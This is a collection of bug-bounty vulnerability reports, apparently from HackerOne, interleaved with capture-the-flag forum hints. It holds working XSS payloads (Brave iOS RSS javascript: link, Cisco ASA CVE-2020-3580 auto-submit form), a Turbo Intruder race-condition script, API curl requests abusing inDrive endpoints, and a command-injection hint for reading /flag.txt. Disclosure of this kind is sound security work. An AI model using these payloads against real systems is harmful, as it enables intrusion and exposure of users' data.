[Cross-site Scripting (XSS) - DOM] XSS on Brave Today through custom RSS feed

## Summary:

Two months ago, the [custom RSS feed feature](https://github.com/brave/brave-ios/pull/3317) was introduced to Brave Today on Brave iOS.

This feature allows to add any RSS feed to Brave Today, and the registered feed entries are shown in a tab with a hyperlink to the original article URL.
Then, Brave iOS doesn't restrict the URL scheme of the original article link, which can cause XSS weakness through `javascript:` URL.

Here is a demonstration RSS feed of this attack.
https://csrf.jp/brave/rss.php

This RSS feed contains `javascript:alert(document.domain)` in an entry tag like this.
```
<entry>
  <title>XSS</title>
  <link rel="alternate" type="text/html" href="javascript:alert(document.domain)" />
  <content type="html"><![CDATA[<img src="https://csrf.jp/test.png">]]></content>
</entry>
```
When user taps the entry on Brave Today, an alert dialog is shown on `http://localhost:65XX`.

## Products affected:

 * Brave iOS current Nightly build

## Steps To Reproduce:

 * Open "Settings"
 * Tap "Brave Today" in Settings menu
 * Tap "Add Source"
 * Type "https://csrf.jp/brave/rss.php" and tap "Search"
 * RSS feed, that name is PoC, is found, then tap "Add"
 * Enable PoC feed
 * Close the Settings menu and open a new tab
 * Enable Brave Today, then you can find an article entry that name is "XSS"
 * Tap the article, then an alert dialog is shown

## Supporting Material/References:

  * See attached movie file for the demonstration

## Impact

As written in summary, XSS is possible on `http://localhost:65XX`.
Note that `http://localhost:65XX` should be considered as a privileged domain that hosts Brave's internal features such as reader-view, error-pages and so on.


By following the password requirements and applying RegEx-Filters on Rockyou30, not a single compliant password is left in this list. I am supposed to use Rockyou30 for this task, but this password list is not consistent with these password policies.


[Information Disclosure] Visibility Robots.txt file

Issue detail:-
The web server contains a robots.txt file.
Issue background:-
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site that robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation:-
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.

URL -  https://krisp.ai/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: https://krisp.ai/sitemap.xml

Here, /wp-admin/admin-ajax.php  is Allow which gives some private information.

URL -  https://krisp.ai/robots.txt/wp-admin/
                view-source:https://krisp.ai/robots.txt/wp-admin/
These URL is also Accessible which provide some private information.

Sitemap:  https://krisp.ai/sitemap.xml

## Impact

If u have robots.txt file so attacker can see all Your secret pages!


[Business Logic Errors] Race condition on action: Invite members to a team

## Summary:
Hello there,

I've found a race condition vulnerability which allows the invitation of the same member multiple times to a single team via the dashboard.

## Tools needed:
 * Burp Suite community edition  with the extension Turbo Intruder.
This is the way I adopted to detect such vulnerability, there is also other ways.

## Steps to reproduce:

  1. Login to an account on omise.co.
  1. Invite a member for testing
  1. Intercept the main request to the endpoint /team/memberships using the method POST. Modify the HTTP/1.1 protocol for the communication and add `x-request: %s` for Turbo intruder extension.
```
POST /team/memberships HTTP/2
Host: dashboard.omise.co
Cookie: _gcl_au=1.1.800828746.1627664641; _fbp=fb.1.1627664641735.336224278; _ga=GA1.2.327762462.1627664642; _gid=GA1.2.1231473711.1627664642; __hstc=21908964.e6cfeebc3384c1d9daed7b052f944f26.1627664645060.1627664645060.1627664645060.1; hubspotutk=e6cfeebc3384c1d9daed7b052f944f26; __hssrc=1; locale=en; _omisegateway_session=<SESSION>
Content-Length: 271
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://dashboard.omise.co
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://dashboard.omise.co/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
x-request: %s
Connection: close

authenticity_token=<TOKEN>email=<INVITED-EMAIL>&membership%5Badmin%5D=0&membership%5Badmin%5D=1&membership%5Btechnical%5D=0&membership%5Btechnical%5D=1&commit=Send+invitation
```

  1. Send the modified intercepted request with the invited member to Turbo intruder, and write the following attack code :
```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    for i in range(30):
        engine.queue(target.req, target.baseInput, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)
```

  1. Start the Turbo intruder attack. The results are captured in the following screenshots:
{F1395233}
As you can see there is multiple `200 OK` which means a race condition vulnerability happened.

 1. Check the list of invited members to the team. In my case, I used in this attack the invited member : `sim4n6+4@gmail.com`. As you can see the list of invited members to the team is duplicate many times.
{F1395239}

However, when the invited user is already invited. You get the following error message :
{F1395241}

1. As consequence of the attack, the same email got invited  and received multiple emails as can be seen in the following email:
 {F1395246}

 1. By the way, the bug persists even if the invited member accept the invitation. More invitations will remain in the list of the invited members of the team which is undesirable by design.

If you need any further details, please let me know.
Regards.

## Impact

Race Condition vulnerability allows the invitation of the same user multiple times.


[Classic Buffer Overflow] Binary output bypass

Binary output check bypass

## Summary:
When curl outputs content, it checks for binary output. If the output is large enough, it bypasses the check for binary output. This can mess with the terminal.

## Steps To Reproduce:
1. Setup a server of your choice.
2. Create a function f with these arguments: char and num. Num is number of characters repeating.
3. Before serving at a given endpoint, create an offset f(".", 16384)
4. Create the payload with unicode 0x0 like this f("unicode 0x0", 1)
5. Make the server serve this at a given endpoint.
6. Run this command: curl "Accept: application/xml" -H "Content-Type: application/xml" http://localhost:8080/yourendpoint
7. Change the offset f(".", 16384) to f(".", 16383) to check if it worked.

 curlpayload.png is the code
execution.png is output for when it worked
failed.png is when it failed, when I changed the offset to 16383

## Impact

There could be some further impact by this exploit. As of now it can make the terminal really buggy at times, but further implementations could lead to something else.


[Improper Access Control - Generic] Rider can forcefully get passenger's order accepted resulting in multiple impacts including PII reveal  and more mentioned in the report.

## Summary:
Hello Indrive Security Team,
This is going to be chain of attacks with major flow being in /api/setTenderStatus request allowing the attacker to get their ride request accepted automatically.

## Steps To Reproduce:

1st major vulnerability:
// Forcefully getting the passenger to accept the ride

### Section 1

1. Whenever a rider/driver offers the passenger their price there is a request that is sent to /api/driverrequest

█████

2. Now after getting the tenderID and OrderID from that request, the rider sends the request in /api/setTenderStatus in this format

█████████

Here the orderID and tenderID is from step 1.

3. The ride gets accepted.

The impact for this is "The rider can get details of any passenger, this includes phone number of passengers. Even when the passenger doesn't accept the riders offer."
Please keep in mind that this can be automated in real time to make this attack more efficien.

2nd Chain vulnerability:
// Chose a out of range price

### Section 2

1. This request is sent when the rider bids his price:

██████████

2. The rider can modify the price range to be of a much higher value than that.
3. Resulting in sending a bid that is significantly more

// Combining this with above vulnerability we can get passenger to forcefully accept the ride of the customer.

==Provide the request in curl format, if possible==

For vuln A:

```
curl https://terra-akamai.indriverapp.com/api/setTenderStatus?cid=5957&locale=en_US&phone=████&token=████████&v=7&stream_id=1682280490209367&tender_id=████████&order_id=█████████&status=accept
```

For vuln B:

```
curl https://terra-akamai.indriverapp.com/api/driverrequest?cid=5957&locale=en_US&job_id=338f72ff-f3c1-4da0-af15-5d1aa720146b&phone=██████████&token=████████&v=7&stream_id=1682279074257167&order_id=██████&client_id=█████████&shield_session_id=██████████&type=indriver&price=63&period=3&geo_arrival_time=1&distance=5&longitude=85.3249627&latitude=27.7390611&sn=1
```

Thank you so much.
Let me know if you need any further help in reproducing this issue.
@spongebhav

## Impact

1. Revealing PII of customers even if customer didn't accept the rider's request.
2. Making customer accept a bid that is significantly higher tricking the customer into giving more money.


What is the latest and working method or script to view real IP of a site behind Cloudflare

Please who can help me with the working script to view real IP of a site using Cloudflare, all the script I got from GitHub doesn’t work any longer


Something that I found was to go with the hint provided for the first question in the service login. I ran my possible username through Metasploit and got a correct hit on the username. First is that I was able to get the last challenge in under 2 hrs. Use First Name and Last Name only when generating the user list. Use Fist Name and Last Name when generating the Password list and include 1337 When in look at the Netstat and you will see something missing. Never overlook the obvious


Use the base64 encoded payload shown in the module to read the flag echo -n 'cat /flag.txt' | base64 You need to substitute / with something else (from previous modules ${PA…} in the above command. You can take that output and inject it using the below method: ‘bash<<<…’ In the URL after to= make sure you substitute characters for spaces and || or & as well. Once you insert the right payload use the move option to display the flag.


[Insecure Temporary File] Broken link hijacking in https://kubernetes-csi.github.io/docs/drivers.html?highlight=chubaofs#production-drivers

Report Submission Form

## Summary:
When a web application has any pages, sources, links to external 3rd party services and are broken then the attacker can claim those endpoints to successfully conduct the attack and claim those endpoints on behalf of the target website and impersonate his identity.

## Steps To Reproduce
1) Visit `https://kubernetes-csi.github.io/docs/drivers.html?highlight=chubaofs#production-drivers`
2) Search for ChubaoFS
3) Click on that link
(Steps I followed -->
Click Link

{F1601565}

404 Error

{F1601567}

Change my Username to match the broken link

{F1601566}

Create the required repo.

{F1601568}

4) You will be redirected to My github repo
5) When someone clicks on the ChubaoFS link they will be redirected to the attacker repository

## Supporting Material/References:

1. `https://hackerone.com/reports/1031321`
2. `https://hackerone.com/reports/1117079`
3. `https://edoverflow.com/2017/broken-link-hijacking/`

## Impact

The user will install the wrong drivers which leads to impersonation attacks. The attacker can install Ransomware, trojan, etc.


[Heap Overflow] heap-buffer-overflow in gc_writebarrier_incremental

how to reproduce:
build ruby-3.2.2 with asan
cat heap-buffer-overflow | ruby-3.2.2/miniruby -e 'Marshal.load(ARGF.read)'

## Impact

may over access memory


[Improper Authentication - Generic] OAUTH2 bearer not-checked for connection re-use

libcurl might reuse OAUTH2-authenticated connections without properly making
sure that the connection was authenticated with the same credentials as set
for this transfer. This affects SASL-enabled protcols: SMTP(S), IMAP(S),
POP3(S) and LDAP(S) (openldap only).

libcurl maintains a pool of connections after a transfer has completed. The
pool of connections is then gone through when a new transfer is requested and
if there's a live connection available that can be reused, it is preferred
instead of creating a new one.

A connection that is successfully created and authenticated with a user name +
OAUTH2 bearer could subsequently be reused even for user + [other OAUTH2
bearer], even though that might not even be a valid bearer. This could lead to
an authenticion bypass, either by mistake or by a malicious actor.

The problem can be demontrated using an imap server supporting OAUTH2 authentication using command:

`curl 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer validbearer --next 'imap://server:port/path/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer anything`

Note:
This vulnerability has been assigned CWE-305 "Authentication Bypass by Primary Weakness" that is not selectable on the current IBB form.

## Impact

Unauthorized access.


[Insecure Storage of Sensitive Information] Able to view hackerone reports attachments

### Summary

(Hi team,

I accidentally found this bug. While reading one of hackerone public report (https://hackerone.com/reports/446238) about gitlab, I found a link posted by gitlab member which is related to internal tracking of the report. I clicked that link (https://gitlab.com/gitlab-org/gitlab-foss/-/issues/54220) and found one of the attachment. I am able to view all the attachments by directly visiting the attachment domain.)

### Steps to reproduce

1. Open https://h1.sec.gitlab.net/a/ (you will able to view all the attachments) and copy any content key
2. Paste key infront of  https://h1.sec.gitlab.net/a/  (ex: https://h1.sec.gitlab.net/a/copied_key.jpg) (you will able to view attachment)

To view nonpublic hackerone report attachment, find the hackerone report key from the above link > copy and paste infront of https://h1.sec.gitlab.net/a/

Try to view this hackerone report you will see access denied https://hackerone.com/reports/446237

but still you can able to view the report attachment by visiting https://h1.sec.gitlab.net/a/█████

## Impact

As attachments consist of researcher attached POC images and videos. So attacker can directly exploit by using these information.


[Cross-site Scripting (XSS) - Generic] XSS in Acronis Cloud Manager Admin Portal

Hello,

Hope you are doing well. I wanted to report the following security vulnerability:

The Acronis Cloud Manager Admin Portal default swagger UI is vulnerable to cross site scripting. I have the API running locally on my machine. I have attached screenshots of the XSS

The URL is:
https://localhost:16080/swagger/index.html?url=███/xss/index.html

Documentation on how to access the API is available here:
https://kb.acronis.com/content/64702

If you would like to reproduce this, you need to setup the Cloud Manager admin portal. To do so, you can take the following steps:
1) Download the cloud manager here (free trial): https://www.acronis.com/en-us/products/cloud-manager/
Once you do that, you will need to install the Acronis Cloud Manager console and the Acronis Cloud Manager web portal. The guide is available here:

https://dl.acronis.com/u/rc/GSG_AcronisCloudManager_5.0_EN-US.pdf?fbclid=IwAR0yOcDjRDPgkXlwNX5Qj0-B4wjOK2d9s76IipnmE_jZiRY_2CSZy3AuJMk

I recommend unzipping the download file in the email and installing this directly on a Windows system rather than using the ISO. I think that will be easier.

In order to get those setup, you need a valid database to connect to. You can use the following links to get one setup.
2) Download sql server express  (https://go.microsoft.com/fwlink/?linkid=866658)
3) Download sql server management studio (https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15)

Once you have it sql server setup, you need to create a user that you can use to connect to the database from the Acronis setup guide, to get everything working. Once it is setup, the default swagger url available to all installations, is vulnerable to XSS.

## Impact

The swagger site allows you to enter in different credentials to test API methods via the Authorize Button on the right side. The methods in scope are very sensitive based on the nature of this application and generally only admins would be testing the API methods with their credentials.

With XSS here we would have the opportunity to target admin users and access very sensitive data. More information on XSS is available here: https://www.packetlabs.net/cross-site-scripting-xss/

If someone were to deploy this API to the cloud or another location, it would be an easy target. Right now I just have it running locally.

The swagger instance running is using an older version of dom-purfiy. If you upgrade the instance, that should fix this issue.

Let me know if you have questions. Thanks!
Ben


With some tips I managed to get this question after some hard thinking! If anyone needs a nudge in the right direction feel free to DM me


LOL, what a Dumbo I am. Several days stuck with the task…just because I did not understand the task properly. So, save your time if you are stuck too. Disassemble, loop, iterate through RDX and save all results of the looping…and then just delete 0x and join the bytes together. No switching around. Just load it, run it and you will see the value you are looking for. Its straigthforward, not a trap.


[Cross-site Scripting (XSS) - Reflected] XSS DUE TO CVE-2020-3580

Hello Team,
During my research, I found multiple hosts to be vulnerable to Cisco ASA XSS CVE-2020-3580, This vulnerability targets the saml service within the VPN. It is triggered via a POST request to domain/+CSCOE+/saml/sp/acs?tgname=a

## References
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe

## Impact

With this vulnerability, an attacker can for example steal users cookies or redirect users on malicious website.

## System Host(s)
█████

## Affected Product(s) and Version(s)
Cisco ASA

## CVE Numbers
CVE-2020-3580

## Steps to Reproduce
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://████/+CSCOE+/saml/sp/acs?tgname=a" method="POST">
      <input type="hidden" name="SAMLResponse" value=""><svg/onload=alert('XSS')>" />
      <input type="hidden" name="" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

## Suggested Mitigation/Remediation Actions
Patch Cisco ASA : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe